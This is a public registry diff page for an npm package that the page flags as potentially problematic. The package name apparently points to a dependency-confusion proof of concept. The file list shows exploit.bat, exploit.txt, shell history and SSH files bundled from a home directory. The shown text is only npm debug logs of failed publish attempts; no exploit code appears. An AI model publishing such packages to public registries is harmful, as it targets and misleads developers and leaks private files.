myconfusedfunctionpoctestpackage 0.0.1-security → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of myconfusedfunctionpoctestpackage might be problematic. Click here for more details.
- package/.bash_history +363 -0
- package/.bash_logout +7 -0
- package/.bashrc +117 -0
- package/.cache/motd.legal-displayed +0 -0
- package/.lesshst +1 -0
- package/.npm/_cacache/content-v2/sha512/73/f2/a8b067e1e36ff8fe9d0f369ef72b81f9d9a5f8794df5ca1ad5565ebf4c46f11af491ec09b9681f91595df70fbc775be8cb1d0ec47de07cac633cf5acae7a +0 -0
- package/.npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70 +2 -0
- package/.npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log +94 -0
- package/.npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log +115 -0
- package/.npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log +96 -0
- package/.npm/_logs/2025-02-24T19_00_04_898Z-debug-0.log +97 -0
- package/.npm/_logs/2025-02-24T19_33_20_796Z-debug-0.log +98 -0
- package/.npm/_logs/2025-02-24T19_52_14_957Z-debug-0.log +116 -0
- package/.npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log +116 -0
- package/.npm/_logs/2025-02-24T20_27_50_313Z-debug-0.log +117 -0
- package/.npm/_logs/2025-02-24T20_33_02_781Z-debug-0.log +38 -0
- package/.npm/_logs/2025-02-24T20_33_07_656Z-debug-0.log +80 -0
- package/.npm/_logs/2025-02-24T20_43_08_949Z-debug-0.log +35 -0
- package/.npm/_update-notifier-last-checked +0 -0
- package/.profile +27 -0
- package/.ssh/authorized_keys +1 -0
- package/.ssh/known_hosts +1 -0
- package/.sudo_as_admin_successful +0 -0
- package/base.ldif +13 -0
- package/exploit.bat +1 -0
- package/exploit.txt +26 -0
- package/package.json +10 -4
- package/package.json.save +12 -0
- package/README.md +0 -5
|
@@ -0,0 +1,116 @@
|
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
|
2
|
+
1 info using npm@9.2.0
|
|
3
|
+
2 info using node@v18.19.1
|
|
4
|
+
3 timing npm:load:whichnode Completed in 1ms
|
|
5
|
+
4 timing config:load:defaults Completed in 4ms
|
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 9ms
|
|
7
|
+
6 timing config:load:builtin Completed in 9ms
|
|
8
|
+
7 timing config:load:cli Completed in 4ms
|
|
9
|
+
8 timing config:load:env Completed in 1ms
|
|
10
|
+
9 timing config:load:project Completed in 2ms
|
|
11
|
+
10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
|
|
12
|
+
11 timing config:load:user Completed in 1ms
|
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 0ms
|
|
14
|
+
13 timing config:load:global Completed in 1ms
|
|
15
|
+
14 timing config:load:setEnvs Completed in 1ms
|
|
16
|
+
15 timing config:load Completed in 25ms
|
|
17
|
+
16 timing npm:load:configload Completed in 26ms
|
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
|
20
|
+
19 verbose title npm publish
|
|
21
|
+
20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
|
|
22
|
+
21 timing npm:load:setTitle Completed in 3ms
|
|
23
|
+
22 timing config:load:flatten Completed in 8ms
|
|
24
|
+
23 timing npm:load:display Completed in 13ms
|
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T20_26_20_665Z-
|
|
26
|
+
25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log
|
|
27
|
+
26 timing npm:load:logFile Completed in 14ms
|
|
28
|
+
27 timing npm:load:timers Completed in 1ms
|
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
|
30
|
+
29 timing npm:load Completed in 58ms
|
|
31
|
+
30 verbose publish [ '.' ]
|
|
32
|
+
31 timing config:load:flatten Completed in 0ms
|
|
33
|
+
32 silly logfile start cleaning logs, removing 1 files
|
|
34
|
+
33 silly logfile done cleaning log files
|
|
35
|
+
34 timing arborist:ctor Completed in 1ms
|
|
36
|
+
35 notice
|
|
37
|
+
36 notice 📦 myconfusedfunctionpoctestpackage@1.0.6
|
|
38
|
+
37 notice === Tarball Contents ===
|
|
39
|
+
38 notice 11.4kB .bash_history
|
|
40
|
+
38 notice 220B .bash_logout
|
|
41
|
+
38 notice 3.8kB .bashrc
|
|
42
|
+
38 notice 0B .cache/motd.legal-displayed
|
|
43
|
+
38 notice 20B .lesshst
|
|
44
|
+
38 notice 13B .npm/_cacache/_lastverified
|
|
45
|
+
38 notice 2.5MB .npm/_cacache/content-v2/sha512/2b/8d/f5e0be167473e14564798f422c3a07aca9a7cc41123816901c6b7150a284596ac8b46a84458e2a3f4feeaf5ffb433e2305dc4639ce88a5414a6559b12e4c
|
|
46
|
+
38 notice 160.8MB .npm/_cacache/content-v2/sha512/03/ef/e67cdcf3ac2915134a8a9f7e834a73044e272badcdc2708f0e4245fd614b0e42ce42202a86557483b277ff2bec5e3c4dfe7433bd47dd4b8f5fd345cda68d
|
|
47
|
+
38 notice 39.0kB .npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a
|
|
48
|
+
38 notice 5.0MB .npm/_cacache/content-v2/sha512/4d/35/4b7507526f1be5d61c6a08bd64eac7bd940ab53f1bef53f68169fed40e2c0162963edccee6ce24bc742bbc81c2b64de00c8fc61289284aea49ea53b2318e
|
|
49
|
+
38 notice 304.5kB .npm/_cacache/content-v2/sha512/8b/7c/d086052fa89b371cff7fbdd2db6a7ff6cc2294ad6fc560c1e9bcd5797b1626f85785b31cbca5a7bb00db53e75d974d09eee786a6be65f25c9a720889165d
|
|
50
|
+
38 notice 1.3MB .npm/_cacache/content-v2/sha512/8d/a1/fc39c0ada87d88459d33d72b6189fcef1be8ac5d4f41cca8eaac29543ed4dd12f36ea2dd7d6c462938b62e776195d3d574f3ac8e45a6a0a9e51b449bd98a
|
|
51
|
+
38 notice 80.4MB .npm/_cacache/content-v2/sha512/12/ec/e14fec64bc11d32c381e76d5caf1ad6a1bf397bcf666aec686cbef769ce198cba039637fa9cd63fc2fd3ce41c89ac5ed5eb53ee19c8ecf5b9bc053bb7318
|
|
52
|
+
38 notice 40.2MB .npm/_cacache/content-v2/sha512/51/c1/4b14746e5a667c16649c8100ab06b8122f0a1d6be0d62f40d7b67a6bfff3dcd5e630c933abc5e08b1330d643af2b17c7b638accc74b791125ff93d16bb0d
|
|
53
|
+
38 notice 159.6kB .npm/_cacache/content-v2/sha512/73/24/ab22de871b58c47a962ece82193f224b6c57154bb808c59d9a2777c83807630329ce5d921fec115c0e26c5700f50b2b0b93b1ef7ec3cf86e99e921dc59a6
|
|
54
|
+
38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
|
|
55
|
+
38 notice 27B .npm/_cacache/content-v2/sha512/76/24/0207b71e6fed0a8a0d7a6a0c28b3f5ad32122a5227fe9edbb7f0f9fd6dfdefc9529dfc8cc25004f41ac24cc7d36a8412e5216dd0ef1189e3ef13b4ba32e1
|
|
56
|
+
38 notice 10.0MB .npm/_cacache/content-v2/sha512/b9/17/7978861a36cfa98123dddd9662d73d3660caae535f6c33648f9d5b6c33375706cbfcd6be353a3a6580133122c3eecadd0769ccec8155bbda141890dff3b9
|
|
57
|
+
38 notice 626.7kB .npm/_cacache/content-v2/sha512/bc/16/4336822f515eab7926ef7c0a2635fe0609ea084b936ca9b0bbd3cd34389c23dc70a35e295f6c26571336691f462882d567b26061717b8d5fa0361884e4c6
|
|
58
|
+
38 notice 79.1kB .npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237
|
|
59
|
+
38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
|
|
60
|
+
38 notice 321.6MB .npm/_cacache/content-v2/sha512/ec/1d/0d110ff8e8aca93d9e139b3b2042633bffcc07f3a9949c48331dba5c018010f926692dc6e2bca23b2f4e99c8d148992518a5d930912f5912bd8373982420
|
|
61
|
+
38 notice 20.1MB .npm/_cacache/content-v2/sha512/f2/78/030caf031bef365d63827597e81386fea5bafb3cbaa83beafd146af1cb365203f44f1b65a365b8b9d9f23766cc34547b686813fe7a34dc81b70adb55e70e
|
|
62
|
+
38 notice 495B .npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b
|
|
63
|
+
38 notice 3.7kB .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
|
|
64
|
+
38 notice 9.2kB .npm/_logs/2025-02-20T18_28_42_136Z-debug-0.log
|
|
65
|
+
38 notice 9.4kB .npm/_logs/2025-02-20T19_17_02_081Z-debug-0.log
|
|
66
|
+
38 notice 9.5kB .npm/_logs/2025-02-20T20_52_34_261Z-debug-0.log
|
|
67
|
+
38 notice 9.7kB .npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log
|
|
68
|
+
38 notice 9.9kB .npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log
|
|
69
|
+
38 notice 11.5kB .npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
|
|
70
|
+
38 notice 10.2kB .npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log
|
|
71
|
+
38 notice 10.4kB .npm/_logs/2025-02-24T19_00_04_898Z-debug-0.log
|
|
72
|
+
38 notice 10.6kB .npm/_logs/2025-02-24T19_33_20_796Z-debug-0.log
|
|
73
|
+
38 notice 12.0kB .npm/_logs/2025-02-24T19_52_14_957Z-debug-0.log
|
|
74
|
+
38 notice 1.7kB .npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log
|
|
75
|
+
38 notice 0B .npm/_update-notifier-last-checked
|
|
76
|
+
38 notice 807B .profile
|
|
77
|
+
38 notice 100B .ssh/authorized_keys
|
|
78
|
+
38 notice 142B .ssh/known_hosts
|
|
79
|
+
38 notice 0B .sudo_as_admin_successful
|
|
80
|
+
38 notice 327B base.ldif
|
|
81
|
+
38 notice 377B exploit.bat
|
|
82
|
+
38 notice 3.8kB exploit.txt
|
|
83
|
+
38 notice 356B package.json
|
|
84
|
+
38 notice 289B package.json.save
|
|
85
|
+
39 notice === Tarball Details ===
|
|
86
|
+
40 notice name: myconfusedfunctionpoctestpackage
|
|
87
|
+
40 notice version: 1.0.6
|
|
88
|
+
40 notice filename: myconfusedfunctionpoctestpackage-1.0.6.tgz
|
|
89
|
+
40 notice package size: 643.3 MB
|
|
90
|
+
40 notice unpacked size: 643.3 MB
|
|
91
|
+
40 notice shasum: 8890ca403e75fdd27107cef937c654e6a64e4b55
|
|
92
|
+
40 notice integrity: sha512-m+o+zY8xRmMQs[...]k/EYE5xbirsoA==
|
|
93
|
+
40 notice total files: 46
|
|
94
|
+
41 notice
|
|
95
|
+
42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
|
|
96
|
+
43 timing command:publish Completed in 43649ms
|
|
97
|
+
44 verbose stack Error: Cannot create a string longer than 0x1fffffe8 characters
|
|
98
|
+
44 verbose stack at Object.slice (node:buffer:687:37)
|
|
99
|
+
44 verbose stack at Buffer.toString (node:buffer:857:14)
|
|
100
|
+
44 verbose stack at buildMetadata (/usr/share/nodejs/libnpmpublish/lib/publish.js:129:23)
|
|
101
|
+
44 verbose stack at publish (/usr/share/nodejs/libnpmpublish/lib/publish.js:39:20)
|
|
102
|
+
44 verbose stack at /usr/share/nodejs/npm/lib/commands/publish.js:126:46
|
|
103
|
+
44 verbose stack at otplease (/usr/share/nodejs/npm/lib/utils/otplease.js:4:18)
|
|
104
|
+
44 verbose stack at Publish.exec (/usr/share/nodejs/npm/lib/commands/publish.js:126:13)
|
|
105
|
+
44 verbose stack at async module.exports (/usr/share/nodejs/npm/lib/cli.js:133:5)
|
|
106
|
+
45 verbose cwd /home/bigibson
|
|
107
|
+
46 verbose Linux 6.8.0-1021-azure
|
|
108
|
+
47 verbose node v18.19.1
|
|
109
|
+
48 verbose npm v9.2.0
|
|
110
|
+
49 error code ERR_STRING_TOO_LONG
|
|
111
|
+
50 error Cannot create a string longer than 0x1fffffe8 characters
|
|
112
|
+
51 verbose exit 1
|
|
113
|
+
52 timing npm Completed in 43758ms
|
|
114
|
+
53 verbose code 1
|
|
115
|
+
54 error A complete log of this run can be found in:
|
|
116
|
+
54 error /home/bigibson/.npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
|
2
|
+
1 info using npm@9.2.0
|
|
3
|
+
2 info using node@v18.19.1
|
|
4
|
+
3 timing npm:load:whichnode Completed in 0ms
|
|
5
|
+
4 timing config:load:defaults Completed in 3ms
|
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
|
|
7
|
+
6 timing config:load:builtin Completed in 4ms
|
|
8
|
+
7 timing config:load:cli Completed in 4ms
|
|
9
|
+
8 timing config:load:env Completed in 1ms
|
|
10
|
+
9 timing config:load:project Completed in 2ms
|
|
11
|
+
10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
|
|
12
|
+
11 timing config:load:user Completed in 1ms
|
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 1ms
|
|
14
|
+
13 timing config:load:global Completed in 1ms
|
|
15
|
+
14 timing config:load:setEnvs Completed in 2ms
|
|
16
|
+
15 timing config:load Completed in 18ms
|
|
17
|
+
16 timing npm:load:configload Completed in 19ms
|
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
|
20
|
+
19 verbose title npm publish
|
|
21
|
+
20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
|
|
22
|
+
21 timing npm:load:setTitle Completed in 2ms
|
|
23
|
+
22 timing config:load:flatten Completed in 7ms
|
|
24
|
+
23 timing npm:load:display Completed in 12ms
|
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T20_27_50_313Z-
|
|
26
|
+
25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T20_27_50_313Z-debug-0.log
|
|
27
|
+
26 timing npm:load:logFile Completed in 14ms
|
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
|
30
|
+
29 timing npm:load Completed in 50ms
|
|
31
|
+
30 verbose publish [ '.' ]
|
|
32
|
+
31 timing config:load:flatten Completed in 1ms
|
|
33
|
+
32 silly logfile start cleaning logs, removing 1 files
|
|
34
|
+
33 silly logfile done cleaning log files
|
|
35
|
+
34 timing arborist:ctor Completed in 1ms
|
|
36
|
+
35 notice
|
|
37
|
+
36 notice 📦 myconfusedfunctionpoctestpackage@1.0.6
|
|
38
|
+
37 notice === Tarball Contents ===
|
|
39
|
+
38 notice 11.4kB .bash_history
|
|
40
|
+
38 notice 220B .bash_logout
|
|
41
|
+
38 notice 3.8kB .bashrc
|
|
42
|
+
38 notice 0B .cache/motd.legal-displayed
|
|
43
|
+
38 notice 20B .lesshst
|
|
44
|
+
38 notice 13B .npm/_cacache/_lastverified
|
|
45
|
+
38 notice 2.5MB .npm/_cacache/content-v2/sha512/2b/8d/f5e0be167473e14564798f422c3a07aca9a7cc41123816901c6b7150a284596ac8b46a84458e2a3f4feeaf5ffb433e2305dc4639ce88a5414a6559b12e4c
|
|
46
|
+
38 notice 160.8MB .npm/_cacache/content-v2/sha512/03/ef/e67cdcf3ac2915134a8a9f7e834a73044e272badcdc2708f0e4245fd614b0e42ce42202a86557483b277ff2bec5e3c4dfe7433bd47dd4b8f5fd345cda68d
|
|
47
|
+
38 notice 39.0kB .npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a
|
|
48
|
+
38 notice 5.0MB .npm/_cacache/content-v2/sha512/4d/35/4b7507526f1be5d61c6a08bd64eac7bd940ab53f1bef53f68169fed40e2c0162963edccee6ce24bc742bbc81c2b64de00c8fc61289284aea49ea53b2318e
|
|
49
|
+
38 notice 304.5kB .npm/_cacache/content-v2/sha512/8b/7c/d086052fa89b371cff7fbdd2db6a7ff6cc2294ad6fc560c1e9bcd5797b1626f85785b31cbca5a7bb00db53e75d974d09eee786a6be65f25c9a720889165d
|
|
50
|
+
38 notice 1.3MB .npm/_cacache/content-v2/sha512/8d/a1/fc39c0ada87d88459d33d72b6189fcef1be8ac5d4f41cca8eaac29543ed4dd12f36ea2dd7d6c462938b62e776195d3d574f3ac8e45a6a0a9e51b449bd98a
|
|
51
|
+
38 notice 643.3MB .npm/_cacache/content-v2/sha512/9b/ea/3ecd8f31466310b2aa002351490a474430ad34bede5e534bd2e32d2d2e8e2b00ecf8d1b69e01940571ade746527c762a42463196464fc4604e716e2aeca0
|
|
52
|
+
38 notice 80.4MB .npm/_cacache/content-v2/sha512/12/ec/e14fec64bc11d32c381e76d5caf1ad6a1bf397bcf666aec686cbef769ce198cba039637fa9cd63fc2fd3ce41c89ac5ed5eb53ee19c8ecf5b9bc053bb7318
|
|
53
|
+
38 notice 40.2MB .npm/_cacache/content-v2/sha512/51/c1/4b14746e5a667c16649c8100ab06b8122f0a1d6be0d62f40d7b67a6bfff3dcd5e630c933abc5e08b1330d643af2b17c7b638accc74b791125ff93d16bb0d
|
|
54
|
+
38 notice 159.6kB .npm/_cacache/content-v2/sha512/73/24/ab22de871b58c47a962ece82193f224b6c57154bb808c59d9a2777c83807630329ce5d921fec115c0e26c5700f50b2b0b93b1ef7ec3cf86e99e921dc59a6
|
|
55
|
+
38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
|
|
56
|
+
38 notice 27B .npm/_cacache/content-v2/sha512/76/24/0207b71e6fed0a8a0d7a6a0c28b3f5ad32122a5227fe9edbb7f0f9fd6dfdefc9529dfc8cc25004f41ac24cc7d36a8412e5216dd0ef1189e3ef13b4ba32e1
|
|
57
|
+
38 notice 10.0MB .npm/_cacache/content-v2/sha512/b9/17/7978861a36cfa98123dddd9662d73d3660caae535f6c33648f9d5b6c33375706cbfcd6be353a3a6580133122c3eecadd0769ccec8155bbda141890dff3b9
|
|
58
|
+
38 notice 626.7kB .npm/_cacache/content-v2/sha512/bc/16/4336822f515eab7926ef7c0a2635fe0609ea084b936ca9b0bbd3cd34389c23dc70a35e295f6c26571336691f462882d567b26061717b8d5fa0361884e4c6
|
|
59
|
+
38 notice 79.1kB .npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237
|
|
60
|
+
38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
|
|
61
|
+
38 notice 321.6MB .npm/_cacache/content-v2/sha512/ec/1d/0d110ff8e8aca93d9e139b3b2042633bffcc07f3a9949c48331dba5c018010f926692dc6e2bca23b2f4e99c8d148992518a5d930912f5912bd8373982420
|
|
62
|
+
38 notice 20.1MB .npm/_cacache/content-v2/sha512/f2/78/030caf031bef365d63827597e81386fea5bafb3cbaa83beafd146af1cb365203f44f1b65a365b8b9d9f23766cc34547b686813fe7a34dc81b70adb55e70e
|
|
63
|
+
38 notice 495B .npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b
|
|
64
|
+
38 notice 3.9kB .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
|
|
65
|
+
38 notice 9.4kB .npm/_logs/2025-02-20T19_17_02_081Z-debug-0.log
|
|
66
|
+
38 notice 9.5kB .npm/_logs/2025-02-20T20_52_34_261Z-debug-0.log
|
|
67
|
+
38 notice 9.7kB .npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log
|
|
68
|
+
38 notice 9.9kB .npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log
|
|
69
|
+
38 notice 11.5kB .npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
|
|
70
|
+
38 notice 10.2kB .npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log
|
|
71
|
+
38 notice 10.4kB .npm/_logs/2025-02-24T19_00_04_898Z-debug-0.log
|
|
72
|
+
38 notice 10.6kB .npm/_logs/2025-02-24T19_33_20_796Z-debug-0.log
|
|
73
|
+
38 notice 12.0kB .npm/_logs/2025-02-24T19_52_14_957Z-debug-0.log
|
|
74
|
+
38 notice 11.9kB .npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log
|
|
75
|
+
38 notice 1.7kB .npm/_logs/2025-02-24T20_27_50_313Z-debug-0.log
|
|
76
|
+
38 notice 0B .npm/_update-notifier-last-checked
|
|
77
|
+
38 notice 807B .profile
|
|
78
|
+
38 notice 100B .ssh/authorized_keys
|
|
79
|
+
38 notice 142B .ssh/known_hosts
|
|
80
|
+
38 notice 0B .sudo_as_admin_successful
|
|
81
|
+
38 notice 327B base.ldif
|
|
82
|
+
38 notice 377B exploit.bat
|
|
83
|
+
38 notice 3.8kB exploit.txt
|
|
84
|
+
38 notice 356B package.json
|
|
85
|
+
38 notice 289B package.json.save
|
|
86
|
+
39 notice === Tarball Details ===
|
|
87
|
+
40 notice name: myconfusedfunctionpoctestpackage
|
|
88
|
+
40 notice version: 1.0.6
|
|
89
|
+
40 notice filename: myconfusedfunctionpoctestpackage-1.0.6.tgz
|
|
90
|
+
40 notice package size: 1.3 GB
|
|
91
|
+
40 notice unpacked size: 1.3 GB
|
|
92
|
+
40 notice shasum: c22830757c2bbed2128ee148f3f18bfc1295b5b8
|
|
93
|
+
40 notice integrity: sha512-uru4ft7N1bklW[...]mHEhFUx14nStw==
|
|
94
|
+
40 notice total files: 47
|
|
95
|
+
41 notice
|
|
96
|
+
42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
|
|
97
|
+
43 timing command:publish Completed in 114252ms
|
|
98
|
+
44 verbose stack Error: Cannot create a string longer than 0x1fffffe8 characters
|
|
99
|
+
44 verbose stack at Object.slice (node:buffer:687:37)
|
|
100
|
+
44 verbose stack at Buffer.toString (node:buffer:857:14)
|
|
101
|
+
44 verbose stack at buildMetadata (/usr/share/nodejs/libnpmpublish/lib/publish.js:129:23)
|
|
102
|
+
44 verbose stack at publish (/usr/share/nodejs/libnpmpublish/lib/publish.js:39:20)
|
|
103
|
+
44 verbose stack at /usr/share/nodejs/npm/lib/commands/publish.js:126:46
|
|
104
|
+
44 verbose stack at otplease (/usr/share/nodejs/npm/lib/utils/otplease.js:4:18)
|
|
105
|
+
44 verbose stack at Publish.exec (/usr/share/nodejs/npm/lib/commands/publish.js:126:13)
|
|
106
|
+
44 verbose stack at async module.exports (/usr/share/nodejs/npm/lib/cli.js:133:5)
|
|
107
|
+
45 verbose cwd /home/bigibson
|
|
108
|
+
46 verbose Linux 6.8.0-1021-azure
|
|
109
|
+
47 verbose node v18.19.1
|
|
110
|
+
48 verbose npm v9.2.0
|
|
111
|
+
49 error code ERR_STRING_TOO_LONG
|
|
112
|
+
50 error Cannot create a string longer than 0x1fffffe8 characters
|
|
113
|
+
51 verbose exit 1
|
|
114
|
+
52 timing npm Completed in 114392ms
|
|
115
|
+
53 verbose code 1
|
|
116
|
+
54 error A complete log of this run can be found in:
|
|
117
|
+
54 error /home/bigibson/.npm/_logs/2025-02-24T20_27_50_313Z-debug-0.log
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
|
2
|
+
1 info using npm@9.2.0
|
|
3
|
+
2 info using node@v18.19.1
|
|
4
|
+
3 timing npm:load:whichnode Completed in 1ms
|
|
5
|
+
4 timing config:load:defaults Completed in 4ms
|
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
|
|
7
|
+
6 timing config:load:builtin Completed in 4ms
|
|
8
|
+
7 timing config:load:cli Completed in 3ms
|
|
9
|
+
8 timing config:load:env Completed in 0ms
|
|
10
|
+
9 timing config:load:project Completed in 4ms
|
|
11
|
+
10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
|
|
12
|
+
11 timing config:load:user Completed in 1ms
|
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 0ms
|
|
14
|
+
13 timing config:load:global Completed in 0ms
|
|
15
|
+
14 timing config:load:setEnvs Completed in 2ms
|
|
16
|
+
15 timing config:load Completed in 21ms
|
|
17
|
+
16 timing npm:load:configload Completed in 21ms
|
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 1ms
|
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
|
20
|
+
19 verbose title npm cache clean
|
|
21
|
+
20 verbose argv "cache" "clean" "--force"
|
|
22
|
+
21 timing npm:load:setTitle Completed in 3ms
|
|
23
|
+
22 timing config:load:flatten Completed in 7ms
|
|
24
|
+
23 timing npm:load:display Completed in 8ms
|
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T20_33_02_781Z-
|
|
26
|
+
25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T20_33_02_781Z-debug-0.log
|
|
27
|
+
26 timing npm:load:logFile Completed in 17ms
|
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
|
30
|
+
29 warn using --force Recommended protections disabled.
|
|
31
|
+
30 timing npm:load Completed in 56ms
|
|
32
|
+
31 timing config:load:flatten Completed in 1ms
|
|
33
|
+
32 silly logfile start cleaning logs, removing 1 files
|
|
34
|
+
33 silly logfile done cleaning log files
|
|
35
|
+
34 timing command:cache Completed in 112ms
|
|
36
|
+
35 verbose exit 0
|
|
37
|
+
36 timing npm Completed in 188ms
|
|
38
|
+
37 info ok
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
|
2
|
+
1 info using npm@9.2.0
|
|
3
|
+
2 info using node@v18.19.1
|
|
4
|
+
3 timing npm:load:whichnode Completed in 1ms
|
|
5
|
+
4 timing config:load:defaults Completed in 3ms
|
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
|
|
7
|
+
6 timing config:load:builtin Completed in 4ms
|
|
8
|
+
7 timing config:load:cli Completed in 4ms
|
|
9
|
+
8 timing config:load:env Completed in 0ms
|
|
10
|
+
9 timing config:load:project Completed in 1ms
|
|
11
|
+
10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
|
|
12
|
+
11 timing config:load:user Completed in 1ms
|
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 1ms
|
|
14
|
+
13 timing config:load:global Completed in 1ms
|
|
15
|
+
14 timing config:load:setEnvs Completed in 2ms
|
|
16
|
+
15 timing config:load Completed in 17ms
|
|
17
|
+
16 timing npm:load:configload Completed in 18ms
|
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 1ms
|
|
20
|
+
19 verbose title npm publish
|
|
21
|
+
20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
|
|
22
|
+
21 timing npm:load:setTitle Completed in 4ms
|
|
23
|
+
22 timing config:load:flatten Completed in 7ms
|
|
24
|
+
23 timing npm:load:display Completed in 12ms
|
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T20_33_07_656Z-
|
|
26
|
+
25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T20_33_07_656Z-debug-0.log
|
|
27
|
+
26 timing npm:load:logFile Completed in 15ms
|
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
|
30
|
+
29 timing npm:load Completed in 52ms
|
|
31
|
+
30 verbose publish [ '.' ]
|
|
32
|
+
31 timing config:load:flatten Completed in 1ms
|
|
33
|
+
32 silly logfile start cleaning logs, removing 1 files
|
|
34
|
+
33 silly logfile done cleaning log files
|
|
35
|
+
34 timing arborist:ctor Completed in 1ms
|
|
36
|
+
35 notice
|
|
37
|
+
36 notice 📦 myconfusedfunctionpoctestpackage@1.0.6
|
|
38
|
+
37 notice === Tarball Contents ===
|
|
39
|
+
38 notice 11.4kB .bash_history
|
|
40
|
+
38 notice 220B .bash_logout
|
|
41
|
+
38 notice 3.8kB .bashrc
|
|
42
|
+
38 notice 0B .cache/motd.legal-displayed
|
